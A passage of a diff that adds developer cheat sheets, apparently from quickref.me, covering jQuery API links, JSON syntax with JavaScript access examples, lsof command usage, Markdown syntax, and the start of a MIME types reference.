- [.serializeArray()](https://api.jquery.com/serializeArray/){data-tooltip="Encode a set of form elements as an array of names and values."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Low-Level Interface
|
||||
- [jQuery.ajax()](https://api.jquery.com/jQuery.ajax/){data-tooltip="Perform an asynchronous HTTP (Ajax) request."}
|
||||
- [jQuery.prefilter()](https://api.jquery.com/jQuery.ajaxPrefilter/){data-tooltip="Handle custom Ajax options or modify existing options before each request is sent and before they are processed by $.ajax()."}
|
||||
- [jQuery.ajaxSetup()](https://api.jquery.com/jQuery.ajaxSetup/){data-tooltip="Set default values for future Ajax requests. Its use is not recommended."}
|
||||
- [jQuery.ajaxTransport()](https://api.jquery.com/jQuery.ajaxTransport/){data-tooltip="Creates an object that handles the actual transmission of Ajax data."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Shorthand Methods
|
||||
- [jQuery.get()](https://api.jquery.com/jQuery.get/){data-tooltip="Load data from the server using a HTTP GET request."}
|
||||
- [jQuery.getJSON()](https://api.jquery.com/jQuery.getJSON/){data-tooltip="Load JSON-encoded data from the server using a GET HTTP request."}
|
||||
- [jQuery.getScript()](https://api.jquery.com/jQuery.getScript/){data-tooltip="Load a JavaScript file from the server using a GET HTTP request, then execute it."}
|
||||
- [jQuery.post()](https://api.jquery.com/jQuery.post/){data-tooltip="Send data to the server using a HTTP POST request."}
|
||||
- [.load()](https://api.jquery.com/load/){data-tooltip="Load data from the server and place the returned HTML into the matched elements."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
|
||||
|
||||
|
||||
Miscellaneous {.cols-3}
|
||||
------------
|
||||
|
||||
|
||||
### jQuery Object
|
||||
- [jQuery()](https://api.jquery.com/jQuery/){data-tooltip="Accepts a string containing a CSS selector which is then used to match a set of elements."}
|
||||
- [jQuery.noConflict()](https://api.jquery.com/jQuery.noConflict/){data-tooltip="Relinquish jQuery's control of the $ variable."}
|
||||
- [jQuery.sub()](https://api.jquery.com/jQuery.sub/){data-tooltip="Creates a new copy of jQuery whose properties and methods can be modified without affecting the original jQuery object."}
|
||||
- [jQuery.holdReady()](https://api.jquery.com/jQuery.holdReady/){data-tooltip="Holds or releases the execution of jQuery's ready event."}
|
||||
- [jQuery.when()](https://api.jquery.com/jQuery.when/){data-tooltip="Provides a way to execute callback functions based on zero or more Thenable objects, usually Deferred objects that represent asynchronous events."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Deferred Object {.row-span-2}
|
||||
- [jQuery.Deferred()](https://api.jquery.com/jQuery.Deferred/){data-tooltip=" A factory function that returns a chainable utility object with methods to register multiple callbacks into callback queues, invoke callback queues, and relay the success or failure state of any synchronous or asynchronous function."}
|
||||
- [deferred.always()](https://api.jquery.com/deferred.always/){data-tooltip=" Add handlers to be called when the Deferred object is either resolved or rejected. "}
|
||||
- [deferred.done()](https://api.jquery.com/deferred.done/){data-tooltip=" Add handlers to be called when the Deferred object is resolved. "}
|
||||
- [deferred.fail()](https://api.jquery.com/deferred.fail/){data-tooltip=" Add handlers to be called when the Deferred object is rejected. "}
|
||||
- [deferred.isRejected()](https://api.jquery.com/deferred.isRejected/){data-tooltip=" Determine whether a Deferred object has been rejected. "}
|
||||
- [deferred.isResolved()](https://api.jquery.com/deferred.isResolved/){data-tooltip=" Determine whether a Deferred object has been resolved. "}
|
||||
- [deferred.notify()](https://api.jquery.com/deferred.notify/){data-tooltip=" Call the progressCallbacks on a Deferred object with the given args. "}
|
||||
- [deferred.notifyWith()](https://api.jquery.com/deferred.notifyWith/){data-tooltip=" Call the progressCallbacks on a Deferred object with the given context and args. "}
|
||||
- [deferred.pipe()](https://api.jquery.com/deferred.pipe/){data-tooltip=" Utility method to filter and/or chain Deferreds. "}
|
||||
- [deferred.progress()](https://api.jquery.com/deferred.progress/){data-tooltip=" Add handlers to be called when the Deferred object generates progress notifications."}
|
||||
- [deferred.promise()](https://api.jquery.com/deferred.promise/){data-tooltip=" Return a Deferred's Promise object. "}
|
||||
- [deferred.reject()](https://api.jquery.com/deferred.reject/){data-tooltip=" Reject a Deferred object and call any failCallbacks with the given args. "}
|
||||
- [deferred.rejectWith()](https://api.jquery.com/deferred.rejectWith/){data-tooltip=" Reject a Deferred object and call any failCallbacks with the given context and args. "}
|
||||
- [deferred.resolve()](https://api.jquery.com/deferred.resolve/){data-tooltip=" Resolve a Deferred object and call any doneCallbacks with the given args. "}
|
||||
- [deferred.resolveWith()](https://api.jquery.com/deferred.resolveWith/){data-tooltip=" Resolve a Deferred object and call any doneCallbacks with the given context and args. "}
|
||||
- [deferred.state()](https://api.jquery.com/deferred.state/){data-tooltip="Determine the current state of a Deferred object. "}
|
||||
- [deferred.then()](https://api.jquery.com/deferred.then/){data-tooltip="Add handlers to be called when the Deferred object is resolved, rejected, or still in progress. "}
|
||||
- [.promise()](https://api.jquery.com/promise/){data-tooltip=" Return a Promise object to observe when all actions of a certain type bound to the collection, queued or not, have finished. "}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Utilities {.row-span-3}
|
||||
- [jQuery.boxModel](https://api.jquery.com/jQuery.boxModel/){data-tooltip="States if the current page, in the user's browser, is being rendered using the W3C CSS Box Model."}
|
||||
- [jQuery.browser](https://api.jquery.com/jQuery.browser/){data-tooltip="Contains flags for the useragent, read from navigator.userAgent. This property was removed in jQuery 1.9 and is available only through the jQuery.migrate plugin. Please try to use feature detection instead."}
|
||||
- [jQuery.contains()](https://api.jquery.com/jQuery.contains/){data-tooltip="Check to see if a DOM element is a descendant of another DOM element."}
|
||||
- [jQuery.each()](https://api.jquery.com/jQuery.each/){data-tooltip="A generic iterator function, which can be used to seamlessly iterate over both objects and arrays. Arrays and array-like objects with a length property (such as a function's arguments object) are iterated by numeric index, from 0 to length-1. Other objects are iterated via their named properties."}
|
||||
- [jQuery.extend()](https://api.jquery.com/jQuery.extend/){data-tooltip="Merge the contents of two or more objects together into the first object."}
|
||||
- [jQuery.globalEval()](https://api.jquery.com/jQuery.globalEval/){data-tooltip="Execute some JavaScript code globally."}
|
||||
- [jQuery.grep()](https://api.jquery.com/jQuery.grep/){data-tooltip="Finds the elements of an array which satisfy a filter function. The original array is not affected."}
|
||||
- [jQuery.inArray()](https://api.jquery.com/jQuery.inArray/){data-tooltip="Search for a specified value within an array and return its index (or -1 if not found)."}
|
||||
- [jQuery.isArray()](https://api.jquery.com/jQuery.isArray/){data-tooltip="Determine whether the argument is an array."}
|
||||
- [jQuery.isEmptyObject()](https://api.jquery.com/jQuery.isEmptyObject/){data-tooltip="Check to see if an object is empty (contains no enumerable properties)."}
|
||||
- [jQuery.isFunction()](https://api.jquery.com/jQuery.isFunction/){data-tooltip="Determines if its argument is callable as a function."}
|
||||
- [jQuery.isNumeric()](https://api.jquery.com/jQuery.isNumeric/){data-tooltip="Determines whether its argument represents a JavaScript number."}
|
||||
- [jQuery.isPlainObject()](https://api.jquery.com/jQuery.isPlainObject/){data-tooltip="Check to see if an object is a plain object."}
|
||||
- [jQuery.isWindow()](https://api.jquery.com/jQuery.isWindow/){data-tooltip="Determine whether the argument is a window."}
|
||||
- [jQuery.isXMLDoc()](https://api.jquery.com/jQuery.isXMLDoc/){data-tooltip="Check to see if a DOM node is within an XML document (or is an XML document)."}
|
||||
- [jQuery.makeArray()](https://api.jquery.com/jQuery.makeArray/){data-tooltip="Convert an array-like object into a true JavaScript array."}
|
||||
- [jQuery.map()](https://api.jquery.com/jQuery.map/){data-tooltip="Translate all items in an array or object to new array of items."}
|
||||
- [jQuery.merge()](https://api.jquery.com/jQuery.merge/){data-tooltip="Merge the contents of two arrays together into the first array. "}
|
||||
- [jQuery.noop()](https://api.jquery.com/jQuery.noop/){data-tooltip="An empty function."}
|
||||
- [jQuery.now()](https://api.jquery.com/jQuery.now/){data-tooltip="Return a number representing the current time."}
|
||||
- [jQuery.parseHTML()](https://api.jquery.com/jQuery.parseHTML/){data-tooltip="Parses a string into an array of DOM nodes."}
|
||||
- [jQuery.parseJSON()](https://api.jquery.com/jQuery.parseJSON/){data-tooltip="Takes a well-formed JSON string and returns the resulting JavaScript value."}
|
||||
- [jQuery.parseXML()](https://api.jquery.com/jQuery.parseXML/){data-tooltip="Parses a string into an XML document."}
|
||||
- [jQuery.proxy()](https://api.jquery.com/jQuery.proxy/){data-tooltip="Takes a function and returns a new one that will always have a particular context."}
|
||||
- [jQuery.support](https://api.jquery.com/jQuery.support/){data-tooltip="A collection of properties that represent the presence of different browser features or bugs. Intended for jQuery's internal use; specific properties may be removed when they are no longer needed internally to improve page startup performance. For your own project's feature-detection needs, we strongly recommend the use of an external library such as Modernizr instead of dependency on properties in jQuery.support."}
|
||||
- [jQuery.trim()](https://api.jquery.com/jQuery.trim/){data-tooltip="Remove the whitespace from the beginning and end of a string."}
|
||||
- [jQuery.type()](https://api.jquery.com/jQuery.type/){data-tooltip="Determine the internal JavaScript [[Class]] of an object."}
|
||||
- [jQuery.unique()](https://api.jquery.com/jQuery.unique/){data-tooltip="Sorts an array of DOM elements, in place, with the duplicates removed. Note that this only works on arrays of DOM elements, not strings or numbers."}
|
||||
- [jQuery.uniqueSort()](https://api.jquery.com/jQuery.uniqueSort/){data-tooltip="Sorts an array of DOM elements, in place, with the duplicates removed. Note that this only works on arrays of DOM elements, not strings or numbers."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### DOM Element Methods
|
||||
- [.get()](https://api.jquery.com/get/){data-tooltip="Retrieve one of the elements matched by the jQuery object."}
|
||||
- [.index()](https://api.jquery.com/index/){data-tooltip="Search for a given element from among the matched elements."}
|
||||
- [.size()](https://api.jquery.com/size/){data-tooltip="Return the number of elements in the jQuery object."}
|
||||
- [.toArray()](https://api.jquery.com/toArray/){data-tooltip="Retrieve all the elements contained in the jQuery set, as an array."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Internals
|
||||
- [.jquery](https://api.jquery.com/jquery-2/){data-tooltip="A string containing the jQuery version number."}
|
||||
- [.context](https://api.jquery.com/context/){data-tooltip="The DOM node context originally passed to jQuery(); if none was passed then context will likely be the document."}
|
||||
- [jQuery.error()](https://api.jquery.com/jQuery.error/){data-tooltip="Takes a string and throws an exception containing it."}
|
||||
- [.length](https://api.jquery.com/length/){data-tooltip="The number of elements in the jQuery object."}
|
||||
- [.pushStack()](https://api.jquery.com/pushStack/){data-tooltip="Add a collection of DOM elements onto the jQuery stack."}
|
||||
- [.selector](https://api.jquery.com/selector/){data-tooltip="A selector representing selector passed to jQuery(), if any, when creating the original set."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
### Callbacks Object
|
||||
- [jQuery.Callbacks()](https://api.jquery.com/jQuery.Callbacks/){data-tooltip="A multi-purpose callbacks list object that provides a powerful way to manage callback lists."}
|
||||
- [callbacks.add()](https://api.jquery.com/callbacks.add/){data-tooltip="Add a callback or a collection of callbacks to a callback list."}
|
||||
- [callbacks.disable()](https://api.jquery.com/callbacks.disable/){data-tooltip="Disable a callback list from doing anything more."}
|
||||
- [callbacks.disabled()](https://api.jquery.com/callbacks.disabled/){data-tooltip="Determine if the callbacks list has been disabled."}
|
||||
- [callbacks.empty()](https://api.jquery.com/callbacks.empty/){data-tooltip="Remove all of the callbacks from a list."}
|
||||
- [callbacks.fire()](https://api.jquery.com/callbacks.fire/){data-tooltip="Call all of the callbacks with the given arguments."}
|
||||
- [callbacks.fired()](https://api.jquery.com/callbacks.fired/){data-tooltip="Determine if the callbacks have already been called at least once."}
|
||||
- [callbacks.fireWith()](https://api.jquery.com/callbacks.fireWith/){data-tooltip="Call all callbacks in a list with the given context and arguments."}
|
||||
- [callbacks.has()](https://api.jquery.com/callbacks.has/){data-tooltip="Determine whether or not the list has any callbacks attached. If a callback is provided as an argument, determine whether it is in a list."}
|
||||
- [callbacks.lock()](https://api.jquery.com/callbacks.lock/){data-tooltip="Lock a callback list in its current state."}
|
||||
- [callbacks.locked()](https://api.jquery.com/callbacks.locked/){data-tooltip="Determine if the callbacks list has been locked."}
|
||||
- [callbacks.remove()](https://api.jquery.com/callbacks.remove/){data-tooltip="Remove a callback or a collection of callbacks from a callback list."}
|
||||
{.style-none .cols-2}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,349 @@
|
||||
---
|
||||
title: JSON
|
||||
date: 2021-09-14 18:26:55
|
||||
icon: icon-json
|
||||
background: bg-[#646464]
|
||||
tags:
|
||||
- config
|
||||
- format
|
||||
categories:
|
||||
- Programming
|
||||
intro: |
|
||||
This is a quick reference cheat sheet for understanding and writing JSON format configuration files.
|
||||
---
|
||||
|
||||
Getting started {.cols-3}
|
||||
---------------
|
||||
|
||||
|
||||
### Introduction
|
||||
|
||||
[JSON](https://json.org/) is a lightweight text-based open standard designed for human-readable data interchange.
|
||||
|
||||
- JSON stands for JavaScript Object Notation
|
||||
- JSON is easy to read and write.
|
||||
- JSON is language agnostic data-interchange format
|
||||
- JSON filename extension is `.json`
|
||||
- JSON Internet Media type is `application/json`
|
||||
{.style-round}
|
||||
|
||||
|
||||
|
||||
### Examples
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "Jason",
|
||||
"age": 39,
|
||||
"height": 1.92,
|
||||
"gender": "M",
|
||||
"salary": 70000,
|
||||
"married": true,
|
||||
"children": [
|
||||
{"name": "Tom", "age": 9, "gender":"M"},
|
||||
{"name": "Ava", "age": 7, "gender":"F"}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Types
|
||||
|
||||
| Type | Description |
|
||||
|-----------|-----------------------------------------|
|
||||
| `Number` | Double precision floating-point |
|
||||
| `String` | Series of characters |
|
||||
| `Boolean` | `true` or `false` |
|
||||
| `Array` | Ordered sequence of values |
|
||||
| `Value` | String, Number, Boolean, null etc |
|
||||
| `Object` | Unordered collection of key/value pairs |
|
||||
| `null` | Null or Empty |
|
||||
|
||||
|
||||
|
||||
|
||||
### String {.row-span-3}
|
||||
| | |
|
||||
|------|----------------------------|
|
||||
| `\"` | Double quote |
|
||||
| `\\` | Backslash |
|
||||
| `\/` | Forward slash |
|
||||
| `\b` | Backspace |
|
||||
| `\f` | Form feed |
|
||||
| `\n` | Newline |
|
||||
| `\r` | Carriage return |
|
||||
| `\t` | Tab |
|
||||
| `\u` | Trailed by four hex digits |
|
||||
|
||||
#### Examples
|
||||
```json {.wrap}
|
||||
{
|
||||
"url": "https://quickref.me",
|
||||
"msg" : "Hi,\n\"QuickRef.ME\"",
|
||||
"intro": "Share quick reference and cheat sheet for developers."
|
||||
}
|
||||
```
|
||||
#### Invalid String
|
||||
```json
|
||||
{ "foo": 'bar' }
|
||||
```
|
||||
Have to be delimited by double quotes
|
||||
|
||||
|
||||
|
||||
### Number {.row-span-2}
|
||||
|
||||
| Type | Description |
|
||||
|------------|----------------------------------------|
|
||||
| `Integer` | Digits 1-9, 0 and positive or negative |
|
||||
| `Fraction` | Fractions like 0.3, 3.9 |
|
||||
| `Exponent` | Exponent like e, e+, e-, E, E+, E |
|
||||
|
||||
#### Examples
|
||||
```json
|
||||
{
|
||||
"positive" : 12,
|
||||
"negative" : -1,
|
||||
"fraction" : 10.25,
|
||||
"exponent" : 1.0E+2,
|
||||
"zero" : 0
|
||||
}
|
||||
```
|
||||
#### Invalid Number
|
||||
```json
|
||||
{ "foo": 0xFF }
|
||||
```
|
||||
In JSON you can use only Decimal Literals
|
||||
|
||||
|
||||
|
||||
### Objects
|
||||
|
||||
```json
|
||||
{
|
||||
"color": "Purple",
|
||||
"id": "210",
|
||||
"composition": {
|
||||
"R": 70,
|
||||
"G": 39,
|
||||
"B": 89
|
||||
},
|
||||
"empty_object": {}
|
||||
}
|
||||
```
|
||||
|
||||
Multiple key/value pairs separated by a comma
|
||||
|
||||
|
||||
|
||||
### Arrays
|
||||
```json
|
||||
[1, 2, 3, 4, 5]
|
||||
```
|
||||
Begins with `[` and ends with `]`
|
||||
|
||||
|
||||
|
||||
### Array of objects
|
||||
```json
|
||||
{
|
||||
"children": [
|
||||
{"name": "Jimmy Smith", "age": 15},
|
||||
{"name": "Sammy Sosa", "age": 12}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Object of arrays
|
||||
```json
|
||||
{
|
||||
"attributes": ["a1", "a2"],
|
||||
"methods": ["getter", "setter"],
|
||||
"empty_array": []
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 2D Array
|
||||
```json
|
||||
{
|
||||
"my_sequences": [
|
||||
[1, 2, 3],
|
||||
[4, 5, 6],
|
||||
[7, 8, 9, 0],
|
||||
[10, 11]
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Object of objects
|
||||
|
||||
```json
|
||||
{
|
||||
"Mark McGwire": {
|
||||
"hr": 65,
|
||||
"avg": 0.278
|
||||
},
|
||||
"Sammy Sosa": {
|
||||
"hr": 63,
|
||||
"avg": 0.288
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Nested
|
||||
```json
|
||||
{
|
||||
"Jack": {
|
||||
"id": 1,
|
||||
"name": "Franc",
|
||||
"salary": 25000,
|
||||
"hobby": ["a", "b"],
|
||||
"location": {
|
||||
"country": "A", "city": "A-A"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
Access JSON in JavaScript {.cols-3}
|
||||
-------------------------
|
||||
|
||||
### Access Object
|
||||
|
||||
```javascript
|
||||
let myObject = {
|
||||
"name": "Jason",
|
||||
"last": "Doe",
|
||||
"age": 39,
|
||||
"gender": "M",
|
||||
"salary": 70000,
|
||||
"married": true
|
||||
};
|
||||
```
|
||||
----
|
||||
|
||||
| | |
|
||||
|--------------------|-----------|
|
||||
| `myObject.name` | "Jason" |
|
||||
| `myObject["name"]` | "Jason" |
|
||||
| `myObject.age` | 39 |
|
||||
| `myObject.other` | undefined |
|
||||
| `myObject[0]` | undefined |
|
||||
|
||||
|
||||
|
||||
### Access Nested {.row-span-2}
|
||||
```javascript
|
||||
let myObject = {
|
||||
"ref": {
|
||||
"name": 0,
|
||||
"last": 1,
|
||||
"age": 2,
|
||||
"gender": 3,
|
||||
"salary": 4,
|
||||
"married": 5
|
||||
},
|
||||
"jdoe": [
|
||||
"Jason",
|
||||
"Doe",
|
||||
39,
|
||||
"M",
|
||||
70000,
|
||||
true
|
||||
],
|
||||
"jsmith": [
|
||||
"Tom",
|
||||
"Smith",
|
||||
42,
|
||||
"F",
|
||||
80000,
|
||||
true
|
||||
]
|
||||
};
|
||||
```
|
||||
----
|
||||
|
||||
| | |
|
||||
|--------------------------|--------------------------|
|
||||
| `myObject.ref.age` | 2 |
|
||||
| `myObject["ref"]["age"]` | 2 |
|
||||
| `myObject.jdoe` | ["Jason", "Doe", 39 ...] |
|
||||
| `myObject.jsmith[3]` | "F" |
|
||||
| `myObject[1]` | undefined |
|
||||
|
||||
|
||||
|
||||
### Access Array of Objects {.row-span-2}
|
||||
```javascript
|
||||
let myArray = [
|
||||
{
|
||||
"name": "Jason",
|
||||
"last": "Doe",
|
||||
"age": 39,
|
||||
"gender": "M",
|
||||
"salary": 70000,
|
||||
"married": true
|
||||
},
|
||||
{
|
||||
"name": "Tom",
|
||||
"last": "Smith",
|
||||
"age": 42,
|
||||
"gender": "F",
|
||||
"salary": 80000,
|
||||
"married": true
|
||||
},
|
||||
{
|
||||
"name": "Amy",
|
||||
"last": "Burnquist",
|
||||
"age": 29,
|
||||
"gender": "F",
|
||||
"salary": 60000,
|
||||
"married": false
|
||||
}
|
||||
];
|
||||
```
|
||||
----
|
||||
|
||||
| | |
|
||||
|---------------------|----------------------------|
|
||||
| `myArray[0]` | `{`"name": "Jason", ...`}` |
|
||||
| `myArray[1].name` | "Tom" |
|
||||
| `myArray[1][2]` | 42 |
|
||||
| `myArray[3]` | undefined |
|
||||
| `myArray[3].gender` | TypeError: Cannot read... |
|
||||
|
||||
|
||||
|
||||
|
||||
### Access Array
|
||||
```javascript
|
||||
let myArray = [
|
||||
"Jason",
|
||||
"Doe",
|
||||
39,
|
||||
"M",
|
||||
70000,
|
||||
true
|
||||
];
|
||||
```
|
||||
-----
|
||||
|
||||
| | |
|
||||
|--------------|-----------|
|
||||
| `myArray[1]` | "Doe" |
|
||||
| `myArray[5]` | true |
|
||||
| `myArray[6]` | undefined |
|
||||
|
||||
|
||||
|
||||
|
||||
Also see
|
||||
--------
|
||||
- [JSON](https://www.json.org/json-en.html) _(json.org)_
|
||||
- [JSON Editor Online](http://jsoneditoronline.org/) _(jsoneditoronline.org)_
|
||||
- [Convert JSON Array to Markdown Table, CSV and more](https://tableconvert.com/json-to-markdown) _(tableconvert.com)_
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,92 @@
|
||||
---
|
||||
title: Lsof
|
||||
date: 2021-02-05 16:12:47
|
||||
icon: icon-style
|
||||
background: bg-blue-400
|
||||
tags:
|
||||
- port
|
||||
- processes
|
||||
- utility
|
||||
categories:
|
||||
- Linux Command
|
||||
intro: |
|
||||
This quick reference cheat sheet provides various for using lsof command.
|
||||
---
|
||||
|
||||
Getting started {.cols-3}
|
||||
--------------
|
||||
|
||||
### Introduction
|
||||
**lsof** meaning `L`i`S`t `O`pen `F`iles is used to find out which files are open by which process
|
||||
|
||||
```shell script
|
||||
$ lsof
|
||||
$ sudo lsof -u root
|
||||
```
|
||||
|
||||
### Port-specific
|
||||
|
||||
```shell script
|
||||
$ lsof -i :8080
|
||||
$ lsof -i :80 -i :22
|
||||
$ lsof -i TCP:22
|
||||
$ lsof -i TCP:1-1024
|
||||
$ lsof -i UDP
|
||||
$ lsof -i @192.168.1.5
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Process-specific
|
||||
```shell script
|
||||
$ lsof -c mysql
|
||||
$ lsof -c java
|
||||
$ lsof -c ssh
|
||||
$ lsof -c nginx
|
||||
$ lsof -c ssh -c httpd
|
||||
```
|
||||
|
||||
|
||||
### User-specific
|
||||
|
||||
```shell script
|
||||
$ lsof -u www-data
|
||||
$ lsof -u www-data -u ubuntu
|
||||
$ lsof -i -u ^root # Except certain user
|
||||
```
|
||||
|
||||
|
||||
### Network-specific
|
||||
```shell script
|
||||
$ lsof -i 4 # IPv4 only
|
||||
$ lsof -i 6 # IPv6 only
|
||||
```
|
||||
|
||||
### PID-specific
|
||||
```shell script
|
||||
$ lsof -p 1753
|
||||
$ lsof -p ^3 # Except certain pids
|
||||
```
|
||||
|
||||
### Filename-specific
|
||||
```shell script
|
||||
$ lsof /var/log/messages
|
||||
$ lsof /etc/passwd
|
||||
```
|
||||
|
||||
|
||||
### Directory-specific
|
||||
```shell script
|
||||
$ lsof +D /var/log # Within a directory
|
||||
```
|
||||
|
||||
|
||||
### Kill
|
||||
```shell script
|
||||
$ kill -9 `lsof -t -u apache`
|
||||
$ kill -9 $(lsof -t -i :8080)
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,239 @@
|
||||
---
|
||||
title: Markdown
|
||||
date: 2020-12-14 18:28:43
|
||||
icon: icon-markdown
|
||||
background: bg-[#6319bf]
|
||||
tags:
|
||||
- md
|
||||
- Markup
|
||||
- text
|
||||
- format
|
||||
categories:
|
||||
- Programming
|
||||
intro: This is a quick reference cheat sheet to the Markdown syntax.
|
||||
---
|
||||
|
||||
Markdown Quick Reference {.cols-3}
|
||||
---------------
|
||||
|
||||
### Headers (atx style)
|
||||
|
||||
```markdown
|
||||
# h1
|
||||
## h2
|
||||
### h3
|
||||
#### h4
|
||||
##### h5
|
||||
###### h6
|
||||
```
|
||||
|
||||
### Headers (setext style)
|
||||
|
||||
```markdown
|
||||
Header 1
|
||||
========
|
||||
```
|
||||
|
||||
```markdown
|
||||
Header 2
|
||||
--------
|
||||
```
|
||||
|
||||
|
||||
### Blockquotes
|
||||
|
||||
```markdown
|
||||
> This is
|
||||
> a blockquote
|
||||
>
|
||||
> > Nested
|
||||
> > Blockquote
|
||||
```
|
||||
|
||||
|
||||
### Unordered List {.row-span-2}
|
||||
|
||||
```markdown
|
||||
* Item 1
|
||||
* Item 2
|
||||
* item 3a
|
||||
* item 3b
|
||||
```
|
||||
|
||||
or
|
||||
```markdown
|
||||
- Item 1
|
||||
- Item 2
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```markdown
|
||||
+ Item 1
|
||||
+ Item 2
|
||||
```
|
||||
or
|
||||
|
||||
```markdown
|
||||
- [ ] Checkbox off
|
||||
- [x] Checkbox on
|
||||
```
|
||||
|
||||
### Ordered List
|
||||
|
||||
```markdown
|
||||
1. Item 1
|
||||
2. Item 2
|
||||
a. item 3a
|
||||
b. item 3b
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Links
|
||||
|
||||
```markdown
|
||||
[link](http://google.com)
|
||||
```
|
||||
|
||||
```markdown
|
||||
[link][google]
|
||||
[google]: http://google.com
|
||||
```
|
||||
|
||||
```markdown
|
||||
<http://google.com>
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Emphasis
|
||||
|
||||
```markdown
|
||||
*italic*
|
||||
_italic_
|
||||
```
|
||||
|
||||
```markdown
|
||||
**bold**
|
||||
__bold__
|
||||
```
|
||||
|
||||
```markdown
|
||||
`inline code`
|
||||
~~struck out~~
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
### Horizontal line
|
||||
|
||||
Hyphens
|
||||
```markdown
|
||||
---
|
||||
```
|
||||
|
||||
Asterisks
|
||||
```markdown
|
||||
***
|
||||
```
|
||||
|
||||
Underscores
|
||||
```markdown
|
||||
___
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Code
|
||||
~~~markdown
|
||||
```javascript
|
||||
console.log("This is a block code")
|
||||
```
|
||||
~~~
|
||||
|
||||
```markdown
|
||||
~~~css
|
||||
.button { border: none; }
|
||||
~~~
|
||||
```
|
||||
|
||||
|
||||
```markdown
|
||||
4 space indent makes a code block
|
||||
```
|
||||
|
||||
|
||||
#### inline code
|
||||
```markdown
|
||||
`Inline code` has back-ticks around it
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Tables {.col-span-2}
|
||||
|
||||
```markdown
|
||||
| Left column | Center column | Right column |
|
||||
|:------------|:-------------:|-------------:|
|
||||
| Cell 1 | Centered | $1600 |
|
||||
| Cell 2 | Cell 3 | $12 |
|
||||
```
|
||||
|
||||
Simple style
|
||||
```markdown
|
||||
Left column | Center column | Right column
|
||||
:----------:|:-------------:|:-----------:
|
||||
Cell 1 | Centered | $1600
|
||||
Cell 2 | Cell 3 | $12
|
||||
```
|
||||
A markdown table generator: [tableconvert.com](https://tableconvert.com/)
|
||||
|
||||
|
||||
|
||||
### Images {.col-span-2}
|
||||
|
||||
```markdown
|
||||

|
||||
|
||||

|
||||
```
|
||||
|
||||
#### Image with link
|
||||
```markdown
|
||||
[](https://github.com/)
|
||||
|
||||
[](link_url)
|
||||
```
|
||||
|
||||
#### Reference style
|
||||
```markdown
|
||||
![alt text][logo]
|
||||
|
||||
[logo]: /images/logo.png "Logo Title"
|
||||
```
|
||||
|
||||
|
||||
### Backslash escapes
|
||||
|
||||
| Characters | Escape | Description |
|
||||
|------------|--------|-------------|
|
||||
| \\ | \\\\ | backslash |
|
||||
| \` | \\\` | backtick |
|
||||
| \* | \\\* | asterisk |
|
||||
| \_ | \\\_ | underscore |
|
||||
| \{\} | \\\{\} | curly braces |
|
||||
| \[\] | \\\[\] | square brackets |
|
||||
| \(\) | \\\(\) | parentheses |
|
||||
| \# | \\\# | hash mark |
|
||||
| \+ | \\\+ | plus sign |
|
||||
| \- | \\\- | minus sign \(hyphen\) |
|
||||
| \. | \\\. | dot |
|
||||
| \! | \\\! | exclamation mark |
|
||||
{.show-header}
|
||||
@@ -0,0 +1,134 @@
|
||||
---
|
||||
title: MIME types
|
||||
date: 2020-04-03 17:28:43
|
||||
tags:
|
||||
- media type
|
||||
categories:
|
||||
- Other
|
||||
intro: |
|
||||
This cheat sheet lists some common MIME types for the Web. You can look in the [IANA/MIME Media Types registry](http://www.iana.org/assignments/media-types/index.html) which contains all registered MIME types.
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-2}
|
||||
---------------
|
||||
|
||||
### Introduction
|
||||
- The MIME type registry associates particular filename extensions and filename pattern
|
||||
- MIME (Multipurpose Internet Mail Extensions) type aka media type
|
||||
- MIME types are defined and standardized in IETF's RFC 6838
|
||||
- Indicates the nature and format of a document, file, or assortment of bytes.
|
||||
- For file formats or format contents on the Internet
|
||||
{.style-round}
|
||||
|
||||
|
||||
### Multi-format of MIME types
|
||||
|
||||
- [Markdown Table](https://tableconvert.com/html-to-markdown?data=https://quickref.me/mime#TableGenerator)
|
||||
- [Template](https://tableconvert.com/html-to-template?data=https://quickref.me/mime#TableGenerator)
|
||||
- [LaTeX Table](https://tableconvert.com/html-to-latex?data=https://quickref.me/mime#TableGenerator)
|
||||
- [CSV](https://tableconvert.com/html-to-csv?data=https://quickref.me/mime#TableGenerator)
|
||||
- [Excel](https://tableconvert.com/html-to-excel?data=https://quickref.me/mime#TableGenerator)
|
||||
- [JSON Array](https://tableconvert.com/html-to-json?data=https://quickref.me/mime#TableGenerator)
|
||||
- [HTML Table](https://tableconvert.com/html-to-html?data=https://quickref.me/mime#TableGenerator)
|
||||
- [Insert SQL](https://tableconvert.com/html-to-sql?data=https://quickref.me/mime#TableGenerator)
|
||||
- [YAML Sequence](https://tableconvert.com/html-to-yaml?data=https://quickref.me/mime#TableGenerator)
|
||||
- [XML](https://tableconvert.com/html-to-xml?data=https://quickref.me/mime#TableGenerator)
|
||||
- [ASCII](https://tableconvert.com/html-to-ascii?data=https://quickref.me/mime#TableGenerator)
|
||||
- [MediaWiki Table](https://tableconvert.com/html-to-mediawiki?data=https://quickref.me/mime#TableGenerator)
|
||||
